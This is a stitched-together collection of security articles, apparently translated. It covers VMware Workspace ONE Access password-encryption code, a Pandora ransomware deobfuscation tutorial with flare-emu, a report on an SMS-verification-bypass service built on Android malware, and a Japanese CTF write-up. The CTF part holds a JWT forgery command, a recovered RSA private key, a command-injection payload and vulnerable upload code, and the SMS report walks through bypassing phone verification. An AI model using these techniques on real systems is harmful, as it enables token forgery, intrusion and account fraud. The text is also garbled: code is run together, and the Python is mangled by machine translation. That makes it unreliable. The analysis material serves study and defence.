if(encAlg.forcePadding()){

clearData=ArrayUtils.add(clearData,(byte)1);

}

SecretKeysecret=newSecretKeySpec(key,cipherName);

cipher.init(1,secret,ivSpec,srand);

byte[]data=cipher.doFinal(clearData);

Stringoutput=Integer.toString(4)+':'+encodedIv+':'+newString(Hex.encode(data),StandardCharsets.US_ASCII);

returnoutput;

}catch(InvalidKeyException|BadPaddingException|IllegalBlockSizeException|InvalidAlgorithmParameterException|NoSuchPaddingException|NoSuchAlgorithmException|FipsUnapprovedOperationErrorvar12){

log.error('FailedtoencryptwithAES:'+var12.getMessage());

thrownewEncryptionServiceException(var12);

}

}加密的主要實現代碼2:

StringencryptedData=Integer.toString(1)+','+encKey.getSafeUuid().toString()+','+this.AES_encrypt(clearData,aesKey,encAlg);5.8443端口登錄口令

登錄口令加密保存在文件/usr/local/horizon/conf/config-admin.json

加密的主要實現代碼:

privatevoidsetPassword(StringnewPassword,booleanisSet)throwsAdminAuthException{

intic=this.passwordAuthenticationUtil.getIc(iterationCountBase,iterationCountRange);

try{

StringnewEncryptedPassword=this.passwordAuthenticationUtil.createPWInfo('admin','admin',ic,newPassword);

PasswordInfonewPasswordInfo=newPasswordInfo(newEncryptedPassword,isSet);

if(this.passwordInfo!=null){

newPasswordInfo.setAttemptDelay(this.passwordInfo.getAttemptDelay());

newPasswordInfo.setMaxAttemptCount(this.passwordInfo.getMaxAttemptCount());

}

objectMapper.writeValue(this.passwordInfoFile,newPasswordInfo);

}catch(IOException|EncryptionServiceExceptionvar7){

thrownewAdminAuthException('Failedtosetpassword'+var7.getMessage(),var7);

}

try{

this.loadEncryptedPasswordFromFile();

}catch(IOExceptionvar6){

thrownewAdminAuthException('Failedtoloadstoredpassword'+var6.getMessage(),var6);

}

}0x04 小結在我們搭建好VMware Workspace ONE Access漏洞調試環境後,接下來就可以著手對漏洞和數據庫口令的解密方法進行學習。

對於逆向工程人員來說,他們會經常使用模擬技術來對抗此示例中的函數調用混淆和字符串加密。我們將使用flare-emu 框架實現一個IDAPython 腳本,以使IDA Pro 中的反彙編更具可讀性。這將對樣品的靜態分析有很大幫助。

以Pandora為例在這篇文章中,我將討論在Pandora 中看到的惡意程序研發人員使用的兩種特定的反逆向工程技術:

1.使用不透明謂詞進行函數調用混淆;

2.加密字符串;

使用不透明謂詞的函數調用混淆下圖顯示了Pandora 勒索軟件中一個簡單的函數調用在解壓後的樣子。

graphic-01.png

Pandora 中的標準函數調用

我們可以看到正在調用的函數的地址是在運行時計算的。 cs:qword_7FF6B6FF9AB8 似乎是某種函數地址表的基地址。然後我們使用硬編碼值在該表中找到正確的函數指針,這就是我們在調用它之前加載到rax 中的內容。不透明謂詞通常表示程序中的表達式,其結果為程序員所知,但仍需要在運行時進行評估。它以許多不同的方式用作混淆和反分析技術。在這種情況下,進入rax 的值是固定的,但是因為它仍然必須在運行時計算,它會破壞靜態分析工具。

如果我們以上圖為例,rax 中的地址是這樣計算的:

2.png

或十進制:

3.png

此類問題的簡單解決方案是在調試器中運行惡意軟件並從那裡獲取地址。但是在這個示例中,所有函數調用都是這樣的,靜態鏈接庫中的函數調用除外。這意味著我們需要在調試器中的每個函數調用處中斷,以便對惡意軟件中發生的事情進行自動化處理。

加密字符串這個特定勒索軟件樣本的另一個挑戰是所有有趣的字符串都被加密了。二進製文件中有很多純文本字符串(如下圖所示),但它們大多是Windows API 函數名稱和嵌入式庫中的字符串。沒有任何可以幫助我們了解惡意軟件正在做什麼的字符串以純文本形式提供。這在現代惡意軟件中非常常見,因此該挑戰的解決方案可用於對抗各種惡意軟件。

4.png

Pandora 示例中的字符串

通常當遇到帶有加密字符串的惡意軟件時,有兩種方法:

1.使用動態方法,例如調試或模擬,並使用惡意軟件自己的字符串解密函數來完成工作。

2.如此詳細地了解解密功能,以至於可以在一個簡單的腳本中重新實現它。當加密是簡單的單字節異或時,這通常是最簡單的途徑。

就Pandora 而言,至少有14 個不同的字符串解密函數,因此重新實現解密算法可能並不總是可行的。

模擬模擬允許我們假裝代碼運行在CPU 上,但模擬軟件運行的不是真正的CPU,而是運行代碼。與實際執行相比,模擬通常非常慢。但是,它允許我們完全控制我們想要運行的內容以及與模擬代碼的高度交互。例如,使用模擬器,我們可以只模擬惡意軟件的一個功能,甚至只是幾行代碼,並在每條指令處評估程序的狀態。在這種情況下,模擬的一大優勢是我們可以直接在IDA Pro 中進行。

flare-emuflare-emu 是由Mandiant 的FLARE 團隊創建的模擬框架。它建立在著名的模擬引擎Unicorn Engine 和IDAPython 之上。可以直接使用Unicorn 引擎,但flare-emu 隱藏了它的一些複雜性。本質上,人們可以定義想要模擬的內容,並為特定的掛鉤定義回調函數,當模擬到達該掛鉤時將調用這些函數。一個很好的例子是callHook 參數,它接受一個回調函數,每次將要模擬CALL 指令時調用該函數。在這個回調函數中,我們可以實現在那種情況下我們想做的任何事情,即轉儲寄存器、更改數據、跳過調用等。 flare-emu 變得非常簡單且相對易於使用。

解決挑戰我們可以編寫一些代碼來使用IDAPython 腳本解決這些挑戰。

函數調用混淆下圖再次顯示了我們首先要解決的問題。這是Pandora 代碼解包部分中main() 函數中的第一個函數調用。我們可以相當確定,如果我們模擬main() 函數並在調用之前檢查rax 的值,那麼我們會得到正確的結果。我們也可以讀出函數調用的參數,並將所有這些信息作為IDA Pro 中的註釋添加到彙編代碼中。

5.png

函數調用混淆

讓我們開始整理我們的IDAPython 腳本。下圖顯示了我們如何初始化模擬。當我們啟動腳本時,它應該模擬IDA 中光標當前所在的函數(由get_screen_ea() 返回)。

6.png

初始化模擬

要初始化flare-emu,我們只需要實例化一個EmuHelper。 Flare-emu 提供了不同的方式來運行我們的模擬。我們使用emulateRange() 函數,它用於指定我們想要模擬的內存範圍。我們將起始地址設置為函數的開頭,結束地址可以省略(python 中為None),這意味著模擬將一直運行,直到到達返回類型指令。請注意,iterateAllPaths() 而不是emulateRange() 也應該可以工作,但是由於Pandora 中的另一種混淆技術導致了問題,這不在本文的討論範圍內。但在不太複雜的惡意軟件中iterateAllPaths() 可能是更好的選擇。

當調用flare-emu 的一個模擬函數(在這種情況下為emulateRange())時,模擬開始。該框架允許我們為模擬提供額外的細節,例如帶有寄存器和堆棧的處理器狀態,或回調函數的數據,但我們現在不需要這些。

emulateRange() 允許我們為不同的掛鉤定義回調函數:

1.指令掛鉤:在模擬每條指令之前調用。我用它為IDA 中模擬的每條指令塗色,以可視化模擬的覆蓋範圍。

2.調用掛鉤:每當模擬CALL 類型的指令時調用。請注意,默認情況下不會模擬被調用的函數。

3.內存訪問掛鉤:每當訪問內存以進行讀取或寫入時調用。

對於我們當前的任務,我們只需要callHook。如上圖中的第9 行所示,我們已經將call_hook 函數名稱作為callHook 參數傳遞。接下來,我們需要定義callHook 函數,如下圖所示。

7.png

call_hook() 的第一個實現

我們創建了call_hook() 函數,每次在模擬CALL 指令之前,模擬器都會調用該函數。在其當前狀態下,該函數將記錄它已被執行,然後使用analysisHelper 檢查當前CALL 指令中的操作數是否為寄存器。如果沒有,那麼我們可以返回,因為只有註冊案例對我們來說是有趣的。然後我們恢復寄存器的名稱(operand_name) 及其值(operand_name) 並暫時記錄它們。如果我們針對main 函數運行腳本,那麼我們會得到下圖中的結果。請注意,由於Pandora 代碼中存在許多其他惡意混淆,這個簡單的腳本將無法模擬整個函數。但這可以通過擴展腳本來完成。

8.png

第一次測試的結果

通過模擬找到了三個CALL 指令並打印了操作數寄存器的值。仔細想想,我們基本上解決了函數調用混淆的問題,因為我們現在知道不同的CALL 指令調用了哪些地址。現在我們只需要將它添加到IDA 中的反彙編中。這些是每當我們解析CALL 指令時我們想要在IDA 中做的事情:

1.添加一個帶有被調用函數地址的註釋。

2.為該函數調用添加帶有參數的註釋。

在IDA 中為調用的函數添加交叉引用

更新後的代碼如下圖所示。

9.png

添加評論和交叉引用

在創建評論時,我們使用了來自flare-emu 的一個功能。它允許我們以獨立於架構的方式獲取函數參數。這個惡意軟件是x86_64,所以我們可以只使用rcx、rdx、r8、r9 和堆棧。調用掛鉤獲取的參數之一是參數變量,它將包含flare-emu認為是此函數調用的參數的值。當然,如果不分析被調用的函數,我們將不知道需要多少參數,所以我們只打印所有參數。

最後(第23 行)我們添加了一個IDA 交叉引用,這將對我們的分析有很大幫助。如果我們在main 函數上再次運行此代碼,我們會得到下圖中的結果。

10.png

函數調用解析的結果

加密字符串現在我們已經解決了第一個問題,並且有了一個可以使用的模擬框架,我們可以繼續我們的第二個挑戰,解密字符串。為了能夠知道要模擬哪個函數來解密字符串,我們唯一的要求是我們需要知道哪些函數是解密函數。與往常一樣,逆向工程是一個迭代過程。一旦我們運行我們在main 函數上編寫的腳本,那麼我們就可以開始分析調用的函數了。那麼我們如何判斷一個函數是否是一個解密函數呢?

1.我們在IDA 中看到了這一點。無需深入研究0x7ff6b6f971e0 處的函數,我們可以在圖形視圖中看到它相當簡單並且有一些循環。

11.png

0x7ff6b6f971e0 處函數的圖形視圖

如果我們滾動瀏覽代碼,我們會在下圖中找到基本塊,我們可以看到它迭代了某個值並對其進行異或。這表明它可能是基於XOR 的編碼/加密。

12.png

XOR 表示解碼/解密

2.我們在調試器中看到它。在進行靜態分析的同時,我們當然也可以調試惡意軟件(在安全的環境中)。在調試器中,當我們看到一個函數獲取一些地址作為輸入並返回一個字符串時,這可能意味著它是一個解密函數。下圖顯示了0x7ff6b6f971e0 處的函數何時返回,並且確實在rcx 中返回了字符串“ThisIsMutexa”。

13.png

解密後的字符串出現在rcx 中

一旦我們知道一個函數是一個解密函數,我們就可以相應地重命名它(我們使用了mw_decrypt_str())。有趣的是,Pandora 使用了多個解密函數,隨著我研究深入,我們慢慢發現了這些函數。最後,我們確定了14 個不同的解密函數,但其中大多數看起來與圖9 非常相似,這使我們能夠快速查看一個函數是否只是另一個解密函數。

一旦我們知道了(一些)解密函數,我們就可以改進我們的idpython腳本,以便在看到解密函數被調用時模擬函數調用。這實際上非常類似於flare-emu文檔中的一個示例,該文檔展示了此類代碼通常可以很好地重用。

下圖顯示了更新後的call_hook() 函數。從第23 行開始,我們首先檢查我們正在調用的地址處的函數是否具有包含字符串mw_decrypt_str 的名稱。這就是我們判斷被調用函數是否為解密函數的方式。

14.png

向call_hook() 添加解密

如果它是一個解密函數,那麼我們在腳本中調用decrypt()函數。這將返回解密後的純文本字符串。然後,我們創建一個註釋,其中也將包含解密後的字符串。

解密過程如下圖所示。我們創建一個新的EmuHelper 實例,在啟動emulateRange 時,我們使用函數名稱(fname) 來獲取函數的地址作為起始地址。我們還將argv 數組的前四個元素作為參數寄存器傳遞。最後我們返回argv[0]中的值。

15.png

模擬解密進程

在IDA 中運行腳本後,結果如圖12 所示。解密後的字符串是ThisIsMutexa,它被添加到註釋中並記錄在輸出中。

16.png

字符串解密成功

現在我們可以自動解密字符串了。隨著我們對代碼的分析和更多解密函數的發現,我們可以在調用這些解密函數的函數上重新運行腳本來恢復純文本字符串。

結論Pandora 勒索軟件包含混淆和反逆向工程技術。在這篇文章中,我們研究了其中兩個:函數調用混淆和字符串加密。我們使用flare-emu 模擬框架編寫了一個IDAPython 腳本來解析函數調用的地址和參數,並模擬解密函數以將字符串恢復為純文本。最終腳本可以進一步開發,以應對Pandora 勒索軟件深入分析中討論的其他反逆向工程挑戰。

本文研究人員會詳細介紹SMS PVA服務中存在的攻擊風險,這是一種建立在全球殭屍網絡之上的服務,它會將智能手機網絡安全摧殘的一無是處。

智能手機已經成為研究人員日常生活的重要組成部分,其中存儲有關研究人員生活的敏感信息,包括研究人員的銀行詳細信息和個人資料。

智能手機與平板電腦有很大不同。雖然它們都有大部分相同的功能,但智能手機有一張SIM 卡,可以讓研究人員接聽電話和短信(SMS)。

近年來,主要互聯網平台和服務都實施了短信驗證,作為創建賬戶時的人工驗證手段。 OTP 提供商通過SMS 發送的確認代碼也用作雙因素身份驗證的一部分。

然而,這一功能現在正被攻擊者濫用。

雖然SMS PVA 是一項用於在不同在線平台上創建虛假帳戶的全新服務,但攻擊者發送和接收SMS 消息的需求已經存在了一段時間。

地下論壇參與者:早期,短信驗證碼只是從普通用戶那裡獲得,願意以少量費用出售。一些地下論壇參與者會購買多個低成本電話設備,將它們連接到計算機,然後將其用作銷售SMS 消息甚至電話訪問權限的服務。

SIM 銀行:所謂的SIM 卡盒或SIM 銀行允許用戶在一個可容納20 到300 個SIM 卡盒的設備中使用多張SIM 卡。然後,SIM 卡將這些卡連接到計算機,並具有“虛擬”電話的等效帳戶,可通過計算機系統以編程方式訪問。

短信PVA:黑客組織將開發Android 惡意軟件,允許他們訪問受感染手機和其他配備SIM 卡的設備(如4G 路由器、導航設備)的SMS 代碼。

SMSPVA.net一開始,一個名為ReceiveCode的Facebook賬號發現了SMS PVA廣告。

3.1.png

Facebook 上的ReceiveCode

ReceiveCode於2020年8月首次發布,宣傳“批量虛擬電話號碼”,以便在Facebook、Google、Hotmail、Yahoo、Vkontakte、Tiktok、亞馬遜、阿里巴巴、優步、Twitter、Youtube、Linkedin 或Instagram 等各種平台上使用。單從賬號名稱就可以看出,它可以讓你在註冊在線服務時收到短信驗證碼。

3.2.png

ReceiveCode Facebook 帖子

該公司隨後在2020年11月發布了一份擴展平台的清單,擴展到包括在線零售和服務平台,如Flipkart、Lazada和GrabTaxi。他們還聲稱擁有100多個國家的手機號碼。

ReceiveCode 有一個名為smspva.net 的面向客戶的門戶,訂閱用戶可以在其中登錄以使用他們的服務。還有一個API 文檔頁面作為他們API 的參考,確認他們的目標用戶需要批量編號並採用一些自動化來使用它。

3.3.png

smspva.net 登錄頁面

本網站主要有三個功能——請求/佔用電話號碼、獲取指定應用(項目ID)的驗證碼、將電話號碼加入黑名單。

Smspva.net 提供根據國家和應用程序指定的請求手機號碼的服務。然後用戶可以收到發送到該號碼的短信驗證碼。 Smspva.net 提供僅供一次性使用的手機號碼。

那Receive Code/smspva.net 採用什麼機制來維護不同國家的這麼多手機號碼? smspva.net 的API 名稱和功能是唯一且特定的,但研究人員能夠找到另一個名為enjoynut.cn 的域,它看起來像smspva.net 的鏡像副本。

3.4.png

smspvanet(左)和enjoynut.cn(右)

在這些截圖中,研究人員可以看到smspvanet 的登錄和API 文檔類似於enjoynut.cn。相比之下,smspva.net比enjoynut.cn接收到更多的流量。因此,研究人員認為enjoynut.com是一個測試服務器,而smspva.net是smspva.net的生產服務器。

enjoynut.cn 連接是一個重要的支點,因為該域被多個Android 惡意軟件變體使用。

3.5.png

Dex 文件

感興趣的dex 文件是sha1 e83ec56dfb094fb87b57b67449d23a18208d3091,研究人員檢測到它是Android_Guerilla 的變體。這個特定的dex 文件使用cardking.ejoynut.cn 作為調試C2,並使用sublemontree.com 作為生產C2。

dex文件的目的是攔截在受影響的Android手機上收到的短信,檢查它們與從C2收到的regex規則,然後發送給C2任何匹配regex的短信。

3.6.png

攔截短信的代碼

3.7.png

通過websocket 從服務器接收正則表達式的代碼

3.8.png

發送與提供的正則表達式匹配的SMS 消息的代碼

使用這些代碼片段和C2 流量作為指紋,研究人員的團隊識別出更多具有相同功能但不同C2 的dex 文件,這表明他們的Android 惡意軟件的代碼和產品代碼的多個版本處於活躍的開發過程中。

不過需要注意的是,並不是所有的短信都會被惡意dex文件攔截。相反,只有SMS 消息由與命令和控制提供的正則表達式匹配的特定服務發送。

這是惡意dex 文件隱藏的一部分,如果smspva.net 允許其用戶訪問受感染手機上的所有SMS 消息,受感染手機的所有者會很快注意到無法接收SMS 消息的問題或接收他們沒有請求的SMS 消息。

ReceiveCode 允許用戶訪問發送到公司存儲中的手機號碼的SMS 代碼驗證。客戶只需註冊他們面向客戶的門戶網站smspva.net,即可開始使用他們的服務。

接下來,研究人員將討論smspva.net 和Android 短信攔截如何協同工作。研究人員還將舉例說明用戶如何使用smspva.net 在不使用自己的手機號碼的情況下獲取SMS 驗證碼。

許多服務在新帳戶註冊期間使用附加驗證。例如,在用戶創建帳戶之前,可能需要IP 地址來匹配電話號碼的地理位置。同樣,可能需要特定位置的驗證或限制。例如,某些內容可以僅對特定國家可用。

為了避免這種情況,SMS PVA 用戶使用第三方IP 掩碼服務,例如代理或虛擬專用網絡(VPN),來更改他們嘗試連接到所需服務時將記錄的IP 地址。分析發現SMS PVA 服務的用戶廣泛使用各種代理服務和分佈式VPN 平台來繞過IP 地理位置驗證檢查。

研究人員觀察到用戶註冊請求和短信PVA API 請求通常來自VPN 服務的出口節點或住宅代理系統。這意味著SMS PVA 服務的用戶通常將它們與某種住宅代理或VPN 服務結合使用,允許他們選擇IP 出口節點的國家以匹配用於註冊服務的電話號碼。

Smspva.net 和Android 短信攔截為了演示SMS PVA 和Android SMS 攔截如何協同工作,研究人員使用Carousell(東南亞最大的開放市場)創建了一個假設場景。

2.1.png

smspva.net 和Android 短信攔截協同工作

1. 首先,你需要註冊一個smspva.net 帳戶並充值。

2. 然後,選擇一個“項目”。項目是他們支持並能夠攔截短信驗證的在線服務或平台。對於這個場景,項目是Carousell。

3. 繼續創建一個Carousell 帳戶。

4. 對於手機號碼字段,請在smspva.net 中申請手機號碼。該服務將為你提供一個手機號碼,你可以使用該號碼在帳戶創建過程中填寫手機號碼字段。

5. 然後,Carousell會向該手機號碼發送一個帶有一次性代碼的驗證短信。惡意軟件會攔截短信並將其發送到smspva.net。

6. 然後,你可以從smspva.net獲得驗證碼,並在註冊表單中提供驗證碼。或者,你可以使用住宅代理服務來匹配所使用的電話號碼的地理位置。在此之後,你已經通過了驗證檢查,並創建了一個帳戶。

因此,受害者的手機號碼將有一個與smspva.net用戶註冊的任何平台或服務相關聯的賬戶。通過智能保護網絡(SPN)監控技術,研究人員能夠收集一小部分電話號碼的採樣集,這些號碼是由該服務的實際用戶從SMS PVA平台獲得的。

2.2.png

WhatsApp

在這個示例中,研究人員在WhatsApp 中找到了一個帶有匹配照片的印度尼西亞手機號碼(推測是所有者的真實帳戶),但與同一電話號碼關聯的Telegram 帳戶的名稱是用西里爾字母書寫的。假定該帳號是通過SMS PVA註冊的。

這些只是研究人員在smspva.net 上看到的常見趨勢的一些說明。要么是賬戶在不同服務中的名稱不同,要么是手機所在國家/地區與賬戶中使用的語言不匹配。對研究人員來說,這表明受害者的手機號碼已被利用smspva.net 服務的運營商成功使用和註冊。

短信驗證已成為在線服務平台和服務用來確認一個人只使用一個帳戶的標準方法。但是由於SMS PVA 等新服務的出現,攻擊者現在可以繞過這種方法,甚至可以利用它。

以下是此類服務能被利用的地方:

匿名性。有了SMS PVA,攻擊者可以利用一次性號碼註冊他們的賬號,而不用擔心賬號和號碼會被追踪到他們身上。一些國家在購買SIM卡時需要身份驗證,他們甚至不用擔心SMS PVA。

虛假宣傳活動。協同的不真實行為經常被用來大規模、快速且精確地傳播和放大信息。這可能是一場虛假宣傳活動,試圖操縱與特定品牌、服務、政治觀點或政府項目(如疫苗接種運動)相關的輿論。

SMS PVA服務是基於遍布各個國家的數千部被入侵的智能手機。有了這項服務,SMS PVA用戶可以精確地註冊國家一級的賬戶,因此可以使用假裝來自目標國家的虛假賬戶發起活動。

濫用簽到獎勵。通過SMS PVA 服務,攻擊者可以簡單地創建多個帳戶,以利用在線服務和平台提供的註冊促銷活動。然後,他們可以將獎金出售給不起眼的受害者。

濫用應用遊戲化獎勵。攻擊者可以利用短信PVA服務創建賬戶,並從應用程序遊戲化獎金中獲利。他們可以創建假賬戶來獲得更多的瀏覽量,這將導致更多的獎勵。

規避區域限制。 SMS PVA 服務也被用來規避政府或國家的限制。例如,擁有中國電話號碼的用戶無法在Binance 平台上註冊。通過使用SMS PVA 服務,攻擊者可以繞過此限制並註冊Binance 帳戶。

避免處罰和責任。由於SMS PVA 服務提供的匿名性,攻擊者可以在使用他們的虛假賬戶犯下任何濫用或違規行為時避免法律責任和處罰。

詐騙和欺詐。 SMS PVA 允許詐騙者在任何消息傳遞應用程序中註冊批量帳戶,然後使用這些帳戶發送他們的誘餌和社交工程技巧。

像smspva.net這樣的服務最易受感染的受害者是那些不知情的智能手機受感染的個人。他們很可能不知道自己被感染了,如果他們不註冊自己手機號使用過的任何應用程序,他們甚至不會知道出了什麼問題。

如果由於與帳戶相關的任何詐騙或欺詐活動而進行刑事調查,受害者手機號碼的所有者可能成為嫌疑人並成為調查對象。

SMS PVA 服務也對使用SMS 驗證作為安全措施的在線平台和服務產生巨大影響。因為SMS PVA 服務能夠攔截這些消息,所以這種安全方法現在被破壞了。

這也影響了當前正在實施的反欺詐和不真實的用戶行為模型,因此它現在不僅需要考慮未經驗證的帳戶執行的操作,還需要考慮經過驗證的帳戶。

允許用戶使用一組身份驗證憑據登錄一組服務的單點登錄(SSO) 方案也受到SMS PVA 服務的嚴重影響。

現在可以使用SMS PVA服務在主要平台上批量創建帳戶,因為訪問實際的手機和短信只需要一次。

研究人員將討論哪些國家/地區受SMS PVA 服務影響最大,哪些在線服務和平台最受客戶歡迎。研究人員還將提出一些建議,以緩解這種複雜威脅的風險。

受服務影響最大的國家

1.png

ReceiveCode 的Facebook 和Telegram 帖子

在上面的屏幕截圖中,ReceiveCode 發布了使用其服務的主要國家/地區。從這些信息中,研究人員看到泰國、印度尼西亞、南非、美國、俄羅斯、哥倫比亞、孟加拉國、墨西哥、土耳其、安哥拉和印度通常佔據智能手機受smspva.net 影響的前10 位。

由於市場分佈,如果研究人員根據Trend Micro 的SPN 遙測數據來確定國家感染分佈,會存在一些差異,但研究人員可以驗證印度尼西亞、俄羅斯、泰國和印度確實是Android 手機受感染最多的國家之一。

2.png

受感染國家

根據這些監控數據,研究人員可以將受感染設備的用戶代理映射到最有可能的品牌和手機型號。下圖顯示了研究人員確定正在與smspva.net的信息收集後端通信的手機的分類:

3.png

受感染的智能手機品牌和型號

這表明,在製造這些廉價設備的過程中,可能存在供應鏈上的攻擊,因此它預先安裝了SMS 攔截dex 文件或稍後安裝它的下載器。

4.png

受影響的在線平台和服務

大多數受影響的服務是消息應用程序,如LINE、微信、Telegram 和WhatsApp。 TikTok、Twitter 和Facebook 等社交媒體平台也受到影響。

消息應用程序目前是smspva.net 用戶的最大目標,並且可能與這些平台上虛假帳戶的垃圾郵件和欺詐行為增加有關。

緩解措施到目前為止,SMS 驗證是唯一一種廣泛使用的安全機制,可以確保帳戶是由真人創建並為真人創建的,而不是僵網絡。以下是研究人員緩解由smspva.net 等服務帶來的威脅的一些建議:

對於在線平台和服務來說:

一次性短信驗證是不夠的。 SMS PVA服務濫用了這樣一個事實,即SMS驗證只在創建帳戶時進行一次。如果檢測到應用程序在線,一些應用程序會發送應用程序內驗證。這種類型的驗證可能會阻止使用SMS PVA服務獲取應用程序帳戶。

在啟動帶有貨幣價值的註冊或遊戲內獎勵計劃時要謹慎。 研究人員已經看到了團體註冊和遊戲內獎勵的快速盈利,因為他們能夠創建大量帳戶。在啟動這些程序時,應該採取更嚴格的措施,應該在短信驗證的基礎上實施額外的驗證,以防止濫用。

檢查手機的原產國與創建的帳戶配置文件,以幫助發現一些虛假帳戶。 如果手機號碼與創建的賬號的種族、語言、性別、頭像和/或登錄IP地址不匹配,或者用戶活動與特定地區用戶的典型行為不匹配,這是一個標誌,該帳戶可能是使用SMS PVA服務註冊的,應該需要額外的驗證。

請注意個人資料頭像或個人資料屬性的重用,因為這也是一個危險信號。 這尤其適用於專為浪漫、垃圾郵件和股票投資騙局而創建的賬戶。

對於智能手機用戶:

確保以你的品牌名稱銷售的設備的出處。有充分記錄的設備預先感染了惡意軟件的案例。

對ROM 映像和更新保持警惕。確保設備的默認ROM 映像中包含的所有應用程序、ROM 映像本身以及執行ROM 更新(FOTA/OTA) 的組件都是受信任的和/或來自受信任的來源。

對於消費者來說:

購買智能手機時要考慮安全性。在購買手機之前,研究一下你的手機製造商,看看它在安全性方面是否有良好的聲譽。

確保沒有惡意軟件運行在你的智能手機,讓這些SMS PVA服務濫用你的手機號碼。

定期分析設備內容。

只選擇受信任的應用程序,不要在設備上安裝不受信任的應用程序或來自不受信任來源的應用程序。

注意ROM映像,不要在你的手機設備上使用未經驗證的ROM映像。

1。 Qinglong Group Web

web1

最初にログインできます。ログインした後、トークンとセッションが生成されます。

これは、最初にJWTを偽造した元の質問です。

ctftime.org/downunderctf 2021(オンライン)/jwt /書き込み

2つのトークンを作成し、RSA_SIGN2Nツールを使用して公開キーを生成します

python3 jwt_forgery.py eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imfhywfhin0.entobp4kzw6jbuqkckccc7fjt-fccqq9momhkwrqkpo12bsg464ytx2qni bluzgqjhndlgf2ukqb6owxhfm0qikrbg1skub00fo2kmbkevrlpygj7txozzconcndgdl-egama-msn321rnw-aickjsij5tf0hzqgbu8ucg1zd8ujaybcj3oxoi eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imeifq.iuanu3g_ztypjdnoj9gockfro1ooqlmqt0to_wyli9i9pluhxbbid5d5d2 wfif-sihgpudtzpvshie1ao0qnmlp3x7pvf-qb-juaslvbnpr1rckh2d3kq4u1d2wedvsgwvtjya6s5nxrvjpzdcpzlzmx_6ywn8cavk3k3k3kjltv8787o。img

公開キーを入手してください

-----公開キーを開始----

migfma0gcsqgsib3dqebaquaa4gnadcbiqkkbgsslumfczg/ysg4ixoi6nkguwnnv

IPZZTRNA045EH2XZZY/ZYRWDOJSTMH5WXG6NOVVNAY/ETX2XPPC6J1J //NZC1FAN

mncyra47xiw0rwzbdsabcgnwu3qp2nr7ar0/tzmsclncdwa7rkzljm8fs7zmb502

ZMSV0AXMGN5UMH9FCWIDAQAB

-----公開キーを終了します------次にrsactftoolを使用して秘密鍵を取得します

img

----- RSA秘密キーを開始----

miicoqibaakbgsslumfczg/ysg4ixoi6nkguwnnvipzztrna045eh2xzzy/zyrwd

OJSTMH5WXG6NOVVNAY/ETX2XPPC6J1J //NZC1FANMNCYRA47XIW0RWZBDSABCGNW

U3QP2NR7AR0/TZMSCLNCDWA7RKZLJM8FS7ZMB502ZMSV0AXMGN5UMH9FCWIDAQAB

AOGBC5/R+NCV2+UWXTJL8I6UJTLIFDOSSXKBJNIIKLXQH3L8IAAFX1I9KTXYEICW

TCGTUKX9GJD+XUWO0KOKJCG3HZC7BEFLKIOSK8DSWSPFEXYQPCE1EFOKHKC9RBIQ

urc9qirqjtzf5vdu2usj5ddrgtqtmpxm/ibu1tlpisy8y5tjaogbap2mj8b+pnwu

scp0eyh999ogr6jblqlvwysv34udqarcfjkqob60somzpgcypr/auhfdisnvkyxlk

s7ibebfmetwywux28ogfv7xtgf7rflwmakyxy4ml/dfhonv8khz6h5wpyxpl3wli

ujcsssjngxhj4aegltrruyspixflrdfvagelaogbalrhzoo+tjwzq2xpmveqjvjl

bxfs2wbcf/theuzb8zw/axjncuj1ilxubpzpvigtkppd6mxihv13j/1+3qnyyein

hf6vohlxzq6itrdetafqjp4vubigr+gpsqxqchl5bnue1qmdy3aw7ltarzz8iq5i

6gmi+wdryp+goqxd65upageraogaujts5pfhst6t8hfovcf87es6qguqrtlwagwr

TCFRQKB9TT1QRFGSADZLPUJ+QIRDQAM80AMNCVZDVTDG8NPMCKFP/R+OECPHPOUC

QSFY4PEZPMLYB7DCLCQ0SHTTPMZTTHTKDR+GFFDEDBPFOJTQC16QDNGSPBMKEPFZ

JQTA99E=

-----END RSA PRIVATE KEY----------------------------------------------------------------------------------------------------------------

ゲームルーティング機能にアクセスできます。ここに海外の元の質問があります

AIS3-PRE-EXAM-2024-WRITEUP | Naupのブログ

EMO式を使用してCDフラグを作成します; P: | cat *

ソースコードを直接読み取ると、36F8EFBEA152E50B23290E0ED707B4B0のSecret_Keyを取得できます

それからそれを偽造します

img

次に、ファイルをアップロードする機能を使用できます。まず、このパートのソースコードを監査しましょう。

@app.route( '/upload'、method=['get'、 'post']))

def upload():

token=request.cookies.get( 'token')

token:ではない場合

flash( '最初にログインしてください'、「警告」)

return redirect(url_for( 'login'))

ペイロード=decode_jwt(token)

form=uploadform()

ペイロードまたはペイロード['username']!='admin':でない場合

error_message='このページにアクセスする許可がありません。ユーザーのユーザー名は管理者ではありません。」

return render_template( 'upload.html'、form=form、error_message=error_message、username=payload ['username'])

セッション[「役割」]またはセッション['ロール']!='Admin':ではない場合

error_message='このページにアクセスする許可がありません。あなたの役割は管理者ではありません。」

return render_template( 'upload.html'、form=form、error_message=error_message、username=payload ['username'])

form.validate_on_submit():の場合

file=form.avatar.data

file:の場合

filename=secure_filename(file.filename)

files={'file':(filename、file.stream、file.content_type)}

php_service_url='http://127.0.0.1/upload.php'

response=requests.post(php_service_url、files=files)

response.status_code==200:の場合

flash(respons.text、 'success')

else:

flash(「ファイルをPHPサービスにアップロードできなかった」、「危険」)

return render_template( 'upload.html'、form=form)

@app.route( '/view_uploads'、method=['get'、 'post']))

def View_uploads():

token=request.cookies.get( 'token')

form=gameform()

token:ではない場合

error_message='最初にログインしてください'

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

ペイロード=decode_jwt(token)

Payload:ではない場合

error_message='無効または期限切れのトークン。もう一度ログインしてください。」

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

ペイロードではない場合['username']=='admin':

error_message='このページにアクセスする許可がありません。ユーザーのユーザー名は管理者ではありません」

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

user_input=none

form.validate_on_submit():の場合

filepath=form.user_input.data

pathurl=request.form.get( 'path')

if( 'www.testctf.com' 'not in patturl)または(' 127.0.0.1 'in pathurl)または('/var/www/html/uploads/'filepath)または('。 '' in filepath):

error_message='www.testctf.comは、パスおよび/var/www/html/uploads/berse in filepathで必要です。

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

params={'s': filepath}

try:

response=requests.get( 'http://'+pathurl、params=params、timeout=1)

return render_template( 'view_uploads.html'、form=form、user_input=respons.text)

:を除く

error_message='500!サーバーエラー '

